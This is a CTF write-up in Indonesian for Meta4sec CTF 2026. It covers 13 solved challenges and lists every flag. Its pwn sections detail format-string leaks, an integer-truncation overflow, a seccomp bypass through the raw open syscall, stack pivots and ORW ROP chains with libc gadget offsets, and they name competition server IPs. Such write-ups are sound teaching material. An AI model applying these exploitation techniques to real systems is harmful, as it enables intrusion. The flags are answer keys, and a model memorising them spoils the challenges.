Write-Up: Meta4sec CTF 2026 (Babak Penyisihan)

Penyelesaian 13 soal CTF Meta4sec 2026 — misc, reverse, crypto, forensics, ics/ot, osint, dan pwn.
Write-Up — Meetup CTF Meta4sec 2026 (Hack Redlimit)
Kumpulan penyelesaian untuk soal-soal yang berhasil dipecahkan. Semua flag di bawah sudah diverifikasi (submit diterima, atau binary/servis menjawab benar).
Ringkasan
| # | Soal | Kategori | Flag |
|---|---|---|---|
| 1 | Geprek Chain | misc | REDLIMIT{L4h_BL0CkCh4iN_Br0W_S1UU} |
| 2 | Three Stages | reverse | REDLIMIT{tr1pl3_st4g3_x_4nt1d3bug_pl0t} |
| 3 | Rolling | reverse | REDLIMIT{r0ll1ng_x0r_1s_junk_f00d_f0r_ai} |
| 4 | PLC Konveyor | ics/ot | REDLIMIT{s7_d4t4bl0ck_1nt_4rr4y_symb0l_p4rs3} |
| 5 | Gardu 104 | ics/ot | REDLIMIT{i3c104_sc4l3d_s3tp01nt_c_se_nb_c0mm4nd} |
| 6 | Overcooked | crypto | REDLIMIT{n0_sCr1pt_n33d3d_no_41_sl0p_} |
| 7 | pico | misc | REDLIMIT{bu4n9_bu4ng9_w4ktu_bu4t_ch4ll_ez_k4s14n_b4ng3t_udh_str3ss_wkwkwkwk} |
| 8 | The Audio Incident (Part 1) | osint | REDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne} |
| 9 | Wrapped Payload | forensics | REDLIMIT{x0r3d_p0w3rsh3ll_p4yl04d_unp4ck3d} |
| 10 | Environmental Hazard | forensics | REDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry} |
| 11 | spiral | pwn | REDLIMIT{p0t0ng_bit_trus_raw_sysc4ll_ala_meta_4_sec} |
| 12 | conductor | pwn | REDLIMIT{m3ta_4_sec_fmtstr_doang_no_sh3ll_full_0rw} |
| 13 | mirage | pwn | REDLIMIT{meta4sec_stack_pivot_ke_fatamorgana} |
Bonus (ditemukan di dalam memory dump saat mengerjakan Wrapped Payload):
REDLIMIT{pr0c3ss_cmdl1n3_r3v34ls_4ll}
1. Geprek Chain — misc
Berkas: chain.json (8 blok), explore.py
Blockchain mainan. Validasi bawaan lolos semua (hash cocok, PoW 0000, previous_hash nyambung), jadi tidak ada blok yang dipalsukan — jebakannya di tempat lain.
Tiap data dienkripsi dengan:
plaintext = base64_decode(data) XOR bytes.fromhex(previous_hash)
Genesis (index 0) adalah umpan. previous_hash-nya semua nol, jadi XOR-nya no-op dan base64-nya langsung terbaca REDLIMIT{ini_p4lsu_j4ng4n_p3rc4y4_g3nesis}.
Flag asli = gabungan fragmen blok 1–7 terurut index:
| index | fragmen |
|---|---|
| 1 | REDLI |
| 2 | MIT{L |
| 3 | 4h_BL |
| 4 | 0CkCh |
| 5 | 4iN_B |
| 6 | r0W_S |
| 7 | 1UU} |
import json, base64
for b in json.load(open("chain.json")):
raw = base64.b64decode(b["data"])
key = bytes.fromhex(b["previous_hash"])
print(b["index"], bytes(c ^ key[i % len(key)] for i, c in enumerate(raw)))
Flag: REDLIMIT{L4h_BL0CkCh4iN_Br0W_S1UU}
2. Three Stages — reverse
Berkas: crack_medium (ELF64 PIE, stripped)
Semua logika ada di satu fungsi cek di 0x1300.
Anti-debug ada di main, bukan di checker
call ptrace ; ptrace(PTRACE_TRACEME,0,0,0)
cmp rax, -1
sete sil ; neg esi ; r12d = -1 kalau ditrace, 0 kalau bersih
movzx esi, r12b ; 0xFF vs 0x00 -> argumen ke-2 checker
Kalau di-attach gdb/strace, argumen kedua jadi 0xFF dan dipakai sebagai XOR key tambahan di Stage 1 — flag benar pun ditolak. Diselesaikan statis saja (key = 0), tanpa patch.
Tiga tahap
Panjang dipaksa 39 (cmp r8, 0x27), dibagi 3 slice 13 byte.
| Stage | Index | Transform |
|---|---|---|
| 1 | 0–12 | rol8((c ^ "m3d"[i%3]) + i, 3) |
| 2 | 13–25 | (ror8(c,2) ^ 0x5A) - (0x57 + 13*i) |
| 3 | 26–38 | (c + 0x37) ^ (i-26)² |
Konstanta di .rodata: key "m3d" @ 0x2040, 39 byte target @ 0x2060.
t = bytes.fromhex('f9bb1121f371517339115a03494189735f1316353b25cf0b'
'c825ab699f6389b5baa7e7f203d224')
k = b'm3d'
rol = lambda v, n: ((v << n) | (v >> (8 - n))) & 0xFF
ror = lambda v, n: ((v >> n) | (v << (8 - n))) & 0xFF
out = []
for i, x in enumerate(t):
if i <= 12:
out.append(((ror(x, 3) - i) & 0xFF) ^ k[i % 3])
elif i <= 25:
out.append(rol(((x + 0x57 + 13 * i) & 0xFF) ^ 0x5A, 2))
else:
out.append(((x ^ (i - 26) ** 2) - 0x37) & 0xFF)
print(bytes(out).decode())
Flag: REDLIMIT{tr1pl3_st4g3_x_4nt1d3bug_pl0t}
3. Rolling — reverse
Berkas: crack_easy (ELF64 PIE, stripped)
Fungsi cek di 0x12c0, panjang input dipaksa 41 (cmp r8, 0x29).
Konstanta di .rodata: key "s3cr3t_k3y" @ 0x2040 (10 byte), target 41 byte @ 0x2060.
Bagian yang menyamar di disassembly:
imul rax, 0xcccccccd
shr rax, 0x23
lea r9d,[rax+rax*4]
add r9d, r9d
Itu cuma i % 10 versi division-by-multiplication — indeks key yang berputar, sesuai judul "Rolling". Konstanta index-dependent ada di ecx, mulai 0x21 dan += 7 tiap iterasi.
maju : rol8((key[i % 10] ^ input[i]) + (33 + 7*i), 3) == target[i]
inversi : input[i] = (ror8(target[i], 3) - (33 + 7*i)) ^ key[i % 10]
Diverifikasi: binary menjawab Correct! that input IS the flag.
Flag: REDLIMIT{r0ll1ng_x0r_1s_junk_f00d_f0r_ai}
4. PLC Konveyor — ics/ot
Berkas: project.s7p (681 byte)
Bukan file Step7 asli — container buatan sendiri: header SIMATIC-S7 PROJECT v5.6, lalu blok ber-magic S7B, diselingi filler acak supaya strings terlihat berantakan.
Format blok: "S7B" + type(1) + block_num(2 LE) + len.
Format variabel dalam data block: name_len | name | type(2 LE) | value_len(1) | value.
| Blok | Isi |
|---|---|
OB1 (0x08) | STL polos: CALL FC7; // conveyor ramp |
DB9 (0x0b) | note STRING → REDLIMIT{db9_str1ng_1s_th3_d3c0y} ← umpan, ngaku sendiri |
| DB4 | conv_speed REAL 1.75, temp_sp REAL 42.0, batch_id INT 4021, recipe_sig, crc WORD 0x0fce |
Kuncinya di recipe_sig: type 0x05 = INT tapi len = 90 → itu ARRAY[0..44] OF INT, bukan string. Tiap INT big-endian bernilai kode ASCII satu karakter — makanya di hexdump terlihat seperti UTF-16 dengan null-byte selang-seling (itu byte high tiap INT).
Sesuai deskripsi: "data rahasia disembunyikan di dalam data block resep".
Flag: REDLIMIT{s7_d4t4bl0ck_1nt_4rr4y_symb0l_p4rs3}
5. Gardu 104 — ics/ot
Berkas: gardu.iec104 (2.4 KB)
Bukan pcap — stream APDU IEC 60870-5-104 mentah yang disambung langsung. Tiap frame: 0x68 | len | 4 byte APCI | ASDU.
Isi capture (132 ASDU):
| Type | Nama | COT | Jumlah |
|---|---|---|---|
| 1 | M_SP_NA_1 (single point) | 3 spont | 26 |
| 13 | M_ME_NC_1 (measured float) | 3 spont | 40 |
| 49 | C_SE_NB_1 (setpoint scaled) | 3 spont | 18 |
| 49 | C_SE_NB_1 (setpoint scaled) | 6 act | 48 |
Deskripsi menyuruh menganalisis command control-nya — itu penyaringnya: hanya type 49 dengan COT = 6 (activation) yang benar-benar perintah operator. Tiga kategori lain adalah noise; khususnya type 49 COT 3 yang IOA-nya di rentang 0x9000 dengan nilai acak besar (jelas bukan ASCII).
Perintah aslinya di IOA 0x4000–0x402F (48 titik), dan scaled value 2 byte tiap setpoint langsung berupa kode ASCII (82=R, 69=E, …).
Catatan: frame tidak terurut IOA — perintah diselang-seling telemetri. Pengurutan berdasarkan IOA, bukan urutan paket, itu wajib.
Flag: REDLIMIT{i3c104_sc4l3d_s3tp01nt_c_se_nb_c0mm4nd}
6. Overcooked — crypto
Input: satu blob base64 panjang.
Empat lapis, dikupas dari akhir sesuai deskripsi:
| # | Lapis | Hasil |
|---|---|---|
| 1 | Base64 | 128 baris Morse, tiap baris 8 grup |
| 2 | Morse → biner | hanya 2 simbol dipakai: ----- = 0, .---- = 1 → 1024 bit = 128 byte |
| 3 | Biner → ASCII | ga eh eg fe fb ff fb gc … (terlihat sampah) |
| 4 | ROT47 | 82 69 68 76 73 77 73 84 123 110 48 95 … |
| 5 | Desimal → char | flag |
Yang bikin lapis 3 tidak terbaca: itu ROT47, bukan ROT13. Petunjuknya karakter ` dan _ — ROT47 memetakan '0'(48) → '_'(95) dan '1'(49) → '`'(96), sementara spasi (32) di luar range 33–126 jadi tetap utuh sebagai pemisah. Begitu ketahuan `ab → 123 = {, sisanya jatuh sendiri.
import base64
d = base64.b64decode(open("blob.b64").read()).decode()
M = {"-----": "0", ".----": "1"}
bits = "".join(M[g] for ln in d.strip().split("\n") for g in ln.split())
layer = bytes(int(bits[i:i + 8], 2) for i in range(0, len(bits), 8)).decode()
rot47 = "".join(chr(33 + (ord(c) - 33 + 47) % 94) if 33 <= ord(c) <= 126 else c
for c in layer)
print("".join(chr(int(n)) for n in rot47.split()))
Flag: REDLIMIT{n0_sCr1pt_n33d3d_no_41_sl0p_}
7. pico — misc
Berkas: gemquest.p8 (cartridge PICO-8, 8.5 KB)
.p8 adalah format teks, bukan biner — langsung bisa dibaca. Isinya game sederhana; saat menang:
if won then
cls(0)
print("secret unlocked!",30,8,11)
sspr(0,0,128,55,0,32) -- flag digambar dari sprite sheet
print("screenshot the flag!",18,120,6)
end
Flag bukan string di kode, tapi piksel di section __gfx__. Deskripsi soal mengarahkan pemain untuk main sampai tamat lalu screenshot — padahal __gfx__ cuma 128 karakter hex per baris = 128 piksel (satu nibble per piksel, 0 = kosong). Render 55 baris pertama jadi gambar, selesai.
Jebakan utama: descender & underscore
Font-nya menggambar underscore 3 baris di bawah baseline, jadi _ milik satu baris teks jatuh ke pita baris berikutnya dan terbaca sebagai palang atas glyph. Ini bikin dua salah baca:
- Sebuah
1terbacaI(karena underscore baris atas menempel jadi "palang atas") - Sebuah
9tertukar dengang
Cara membedakan 9 vs g secara pasti — pakai baseline, bukan mata:
glyph baris 1 x88 → 9 | glyph baris 2 x9 → g |
|---|---|
| berhenti tepat di baseline | punya descender 4 baris di bawah baseline |
tinggi = kelas digit (sama dengan 4, 3) | tinggi = x-height + descender |
Baris 1 sama sekali tidak punya descender → tidak mungkin ada huruf g di sana.
Verifikasi silang: jumlah underscore tiap baris cocok dengan bacaannya (baris 1 → 1 bar, baris 2–4 → 3 bar, baris 5 → 0), dan posisi x-nya pas.
Hasil per baris (18+18+18+18+4 = 76 karakter):
REDLIMIT{bu4n9_bu4
ng9_w4ktu_bu4t_ch4
ll_ez_k4s14n_b4ng3
t_udh_str3ss_wkwkw
kwk}
Flag: REDLIMIT{bu4n9_bu4ng9_w4ktu_bu4t_ch4ll_ez_k4s14n_b4ng3t_udh_str3ss_wkwkwkwk}
8. The Audio Incident (Part 1) — osint
Berkas: message_for_you.wav (12 detik, mono 44.1 kHz PCM 16-bit)
Umpan
Spektrogram menunjukkan 6 segmen dual-tone @ 2 detik. Frekuensinya ternyata nada musik + oktafnya (rasio 2:1 murni, bukan DTMF):
| segmen | frekuensi | nada |
|---|---|---|
| 0–2 s | 220 / 440 | A |
| 2–4 s | 262 / 523 | C |
| 4–6 s | 330 / 660 | E |
| 6–8 s | 392 / 784 | G |
| 8–10 s | 294 / 587 | D |
| 10–12 s | 349 / 698 | F |
A C E G D F — dan itu murni pengecoh.
Penyelesaian
Data aslinya di LSB bit-0 tiap sample PCM, MSB-first, dengan header custom:
"CTF0" + length(4 byte, big-endian) + payload
import numpy as np, wave, struct
w = wave.open("message_for_you.wav")
a = np.frombuffer(w.readframes(w.getnframes()), dtype="<i2")
b = np.packbits((a & 1).astype(np.uint8), bitorder="big").tobytes()
assert b[:4] == b"CTF0"
n = struct.unpack(">I", b[4:8])[0]
print(b[8:8 + n].decode())
Isi pesannya (taunting + clue untuk Part 2):
"Gampang banget ngehack ini server wkwkw. Kalian gak akan bisa nemuin siapa kami, sedikit clue aja biar seru, kami dulu juga pernah ngehack discord meta4sec WKWKW, konon katanya sampe 80k+ message di roomchat diskusi di discord meta4sec hilang semua. REDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne}"
Flag: REDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne}
9. Wrapped Payload — forensics
Berkas: memdump.7z (2.8 GB), password RedLimit*9715Meta4Sec
Kendala teknis
Arsipnya punya encrypted header (bsdtar/libarchive tidak bisa) dan isinya memdump.raw 13.9 GB, sementara disk cuma sisa ~7 GB.
Solusi: py7zr dengan WriterFactory custom — decompress streaming, tiap chunk langsung digrep di memori lalu dibuang. Dump utuhnya tidak pernah menyentuh disk.
class Scanner(Py7zIO):
def write(self, s):
self.buf += s
if len(self.buf) >= WINDOW:
self._process(len(self.buf) - KEEP) # grep + geser jendela
return len(s)
Pola yang dicari: -EncodedCommand, powershell, dan run base64 panjang — dalam versi ASCII dan UTF-16LE (command line Windows disimpan UTF-16LE di memori).
Rantai unwrap
- Ketemu command line proses PowerShell (base64 1152 char, diawali
IwAgAEEAbgBhAGwAeQBzAHQA). - Decode base64 → UTF-16LE:
# Analyst note: incident payload staging. Recover with a repeating-key XOR.
$enc = @(0x20,0x76,0x20,0x20,0x78,0x20,0x78,0x20,0x09,0x4b,0x54,0x1e, ... ,0x41,0x57,0x19)
$k = [System.Text.Encoding]::ASCII.GetBytes('r3dl1m1t')
# (decoder intentionally not run here)
Start-Sleep -Seconds 2000000
- XOR 43 byte
$encdengan key berulangr3dl1m1t→ langsung flag (tidak perlu base64 lagi).
enc = [0x20,0x76,0x20,0x20,0x78,0x20,0x78,0x20,0x09,0x4b,0x54,0x1e,0x02,0x09,
0x6e,0x04,0x42,0x44,0x57,0x1e,0x42,0x05,0x02,0x18,0x1e,0x6c,0x14,0x58,
0x48,0x01,0x01,0x40,0x16,0x6c,0x11,0x02,0x41,0x59,0x52,0x1f,0x41,0x57,0x19]
k = b"r3dl1m1t"
print(bytes(c ^ k[i % len(k)] for i, c in enumerate(enc)).decode())
Flag: REDLIMIT{x0r3d_p0w3rsh3ll_p4yl04d_unp4ck3d}
Bonus
Dump yang sama memuat staging script semua tingkat. Yang easy ada di command line proses Start-Sleep 2000000:
$t='UkVETElNSVR7cHIwYzNzc19jbWRsMW4zX3IzdjM0bHNfNGxsfQ==' → REDLIMIT{pr0c3ss_cmdl1n3_r3v34ls_4ll}
10. Environmental Hazard — forensics
Berkas: memdump.7z (sama seperti #9)
Token disimpan di environment block sebuah proses, bukan di disk. Nama variabelnya sudah terlihat di staging script waktu mengerjakan Wrapped Payload (ada tes set CACHE_TOKEN=INHERIT_OK_123 && powershell ... untuk verifikasi env inheritance).
Ditulis lewat C:\ctfbuild\med.cmd yang dijalankan sebagai scheduled task ctfmed (prosesnya idle di Start-Sleep 2100000):
CACHE_TOKEN=VWtWRVRFbE5TVlI3YURGMk0zTmZiREYyTTE4eGJsOTJNR3cwZERGc00xOXRNMjB3Y25sOQ==
Dua lapis base64 — ini yang bikin "quick decode looks like garbage", karena hasil lapis pertama masih base64:
| Lapis | Hasil |
|---|---|
| b64 #1 | UkVETElNSVR7aDF2M3NfbDF2M18xbl92MGw0dDFsM19tM20wcnl9 |
| b64 #2 | REDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry} |
Catatan praktis: env var ini muncul di beberapa lokasi dump dan sebagian terpotong (mis. hanya 46 char:
…TE4eGJsOTJNR3). Pastikan mengambil yang lengkap sampai==(72 char).
Flag: REDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry}
11. spiral — pwn
Berkas: spiral, libc.so.6, ld-linux-x86-64.so.2, Dockerfile
Remote: nc 157.10.253.49 13034
Full RELRO, NX, PIE, canary. Dua bug dirantai.
Bug 1 — format string di leaker()
123d: mov rdi, rsp ; buffer input
1245: call printf@plt ; printf(buf) — tanpa "%s"
Mengalahkan canary + PIE + ASLR sekaligus. Indeks argumen berguna (frame push rbx; sub rsp,0xb0):
%N$p | Isi |
|---|---|
%27$p | stack canary |
%29$p | spiral base + 0x14c5 |
%59$p | libc base + 0x29f75 |
Bug 2 — cek ukuran 16-bit vs read 32-bit
14ef: mov edx, [rsp] ; n dari user
14f4: shl eax, 6 ; n*64
14f7: sub eax, 1
14fa: cmp ax, 0x3f ; <- divalidasi cuma 16 bit bawah
14fe: ja reject
1500: shl edx, 6 ; <- tapi read pakai 32 bit penuh
1512: call read@plt ; read(0, rsp+0x90, n*64)
Karena n*64 selalu kelipatan 64, syaratnya n*64 ≡ 64 (mod 65536) → n ≡ 1 (mod 1024).
Dengan n = 1025: cek melihat 64 (lolos), tapi read menerima 65600 byte ke buffer yang jaraknya cuma 72 byte dari canary.
Sandbox — twist-nya di sini
Filter seccomp meng-allow: read, write, open, close, fstat, lseek, brk, exit, exit_group, newfstatat.
"Pintu yang biasanya terbuka" = openat (257) — tidak ada di whitelist, padahal itulah yang dipanggil glibc saat memakai open()/fopen(). Yang di-allow justru open (2), syscall lama. Jadi ROP wajib pakai raw syscall. String decoy DECOY{open_biasa_aja_gak_perlu_raw} menyindir persis jebakan ini. execve juga mati → harus ORW.
Exploit
Layout: buffer rsp+0x90, canary +0x48, return +0x58.
ROP: open("flag.txt",0) → read(3, scratch, 0x100) → write(1, scratch, 0x100) → exit(0), gadget dari libc yang dibundel, path pakai simbol fname di .data (PIE+0x4020).
Flag: REDLIMIT{p0t0ng_bit_trus_raw_sysc4ll_ala_meta_4_sec}
12. conductor — pwn
Berkas: conductor, libc.so.6, ld-linux-x86-64.so.2, Dockerfile
Remote: nc 157.10.253.49 13031
Arsitektur
main fork satu child per baris input. Di child:
fd = open("/dev/null", O_WRONLY); dup2(fd, 1); close(fd); // stdout dibungkam
seccomp(...); // tanpa execve
vuln(line); // printf(line) <- bug
_exit( leakp ? *(uint8_t*)leakp : 77 ); // <- oracle
Parent waitpid lalu cetak R %d (exit code) atau R X (mati kena sinyal). Tiap baris hanya memberi satu byte informasi.
Tiga hal yang dirantai
1. Leak gratis di boot %p %p — dicetak sebelum sandbox dipasang: rsp+0xb milik main dan alamat main. Dapat base stack + PIE tanpa usaha.
2. Offset format string dihitung dari frame, bukan dari output (output-nya ke /dev/null):
main rsp = M, buffer = M+0x10
child_run rsp = M-0xC0 (ret 8 + push rbp/rbx 16 + sub 0xa8)
vuln rsp = M-0xE0 (ret 8 + sub 0x18)
arg printf ke-(6+k) = [M-0xE0 + 8k] -> buffer = arg #36
Diverifikasi lewat oracle: tulis leakp = &"seccomp"+2, exit code balik 99 = 'c'. Hanya offset 36 yang tidak crash.
3. Bocorkan libc lewat GOT. Full RELRO bikin GOT read-only, tapi tetap terbaca dan sudah terisi (BIND_NOW). 6 query oracle ke GOT[printf] byte demi byte → base libc. Decoy DECOY{got_overwrite_klasik_wkwk_meta4} menyindir yang mencoba menulis ke GOT.
Yang bikin ini hard
Tiap baris = child baru, jadi tulisan format string tidak bertahan antar percobaan — seluruh exploit harus muat dalam satu printf. Menulis chain ROP penuh via %hn terlalu mahal, jadi dipakai stack pivot dengan hanya 2 qword:
| Alamat | Nilai |
|---|---|
M-0xC8 (return address vuln) | pop rsp; ret |
M-0xC0 | alamat chain di dalam buffer sendiri |
Buffer input 4095 byte itu sendiri ada di stack di alamat yang sudah diketahui, jadi chain-nya cukup ditaruh mentah di offset 0x600 — tidak perlu ditulis via %n sama sekali. M-0xC0 aman ditimpa karena itu bekas struct sock_fprog yang sudah selesai dipakai.
Jalan keluar dari "sunyi"
Hanya stdout yang di-dup2 ke /dev/null. Di Dockerfile, socat dijalankan dengan opsi ,stderr — jadi fd 2 masih tersambung ke socket. ROP: open("flag.txt") → read(3, buf, 0x100) → write(2, buf, 0x100) → exit.
fd hasil open pasti 3, karena /dev/null tadi dibuka sebagai fd 3 lalu di-close setelah dup2.
Flag: REDLIMIT{m3ta_4_sec_fmtstr_doang_no_sh3ll_full_0rw}
13. mirage — pwn
Berkas: mirage, libc.so.6, ld-linux-x86-64.so.2, Dockerfile
Remote: nc 157.10.253.49 13035
Struktur mirip spiral (leaker + main), bug-nya beda.
Leak
Format string printf(buf) di leaker(), frame identik dengan spiral:
%N$p | Isi |
|---|---|
%27$p | canary |
%29$p | mirage + 0x14e6 |
%61$p | libc + 0x29f75 |
Indeks libc bergeser dari 59 (spiral) ke 61 karena frame main di sini 0xf8, bukan 0xe8 — selisih 0x10 = 2 slot.
Overflow yang sengaja sempit
14f7: lea rsi,[rsp+0xa0] ; buffer
14ff: mov edx,0xb0 ; cuma 176 byte
1509: call read@plt
Buffer rsp+0xa0, canary rsp+0xe8, return rsp+0xf8. Setelah 88 byte padding+canary, sisanya tepat 88 byte = 11 qword. Rantai ORW butuh ~30 qword — tidak muat. Itu yang disindir DECOY{t00_sh0rt_t0_r0p} dan DECOY{overflow_pendek_tapi_cukup_kok}.
Solusi: pivot dua tahap
Tahap 1 dipaksa muat persis 11 qword, tidak ada satu pun terbuang:
pop rdi; 0
pop rsi; pie+0x4100
pop rdx; 0x400
pop rax; 0
syscall ; read(0, pie+0x4100, 0x400)
pop rsp
pie+0x4100 ; rsp pindah ke sana
Targetnya halaman RW milik binary sendiri (pie+0x4000–0x5000, dari LOAD segment RW 0x3d68), bukan stack. Ini bikin exploit lebih rapi: tidak perlu membocorkan alamat stack sama sekali, cukup PIE base dari format string.
Tahap 2 bebas panjang: open("flag.txt") → read → write(1) → exit, path pakai simbol fname (pie+0x4020).
Seccomp di sini tidak ada jebakan seperti spiral — open (2) dan openat (257) dua-duanya di-allow.
Flag: REDLIMIT{meta4sec_stack_pivot_ke_fatamorgana}
Catatan operasional
- Instance sering tumbang. Panitia menyediakan dua VPS mirror dengan port identik:
157.10.253.49dan103.30.195.156. Kalau satu mati, pindah IP dengan port yang sama. - Soal web (
catatan,suratkilat,medinusa) jalan di Werkzeug dev server single-thread — request beruntun cepat bikin servisnya drop. Beri jeda antar request. - Semua soal pwn memakai libc yang identik (
md5 30fb6243b858286a539e86a67bf48cfa), jadi offset gadget bisa dipakai ulang lintas soal:
| gadget | offset |
|---|---|
pop rdi; ret | 0x2a9b7 |
pop rsi; ret | 0x29e29 |
pop rdx; ret | 0x96372 |
pop rax; ret | 0x44386 |
pop rsp; ret | 0x2861a |
syscall; ret | 0x926e2 |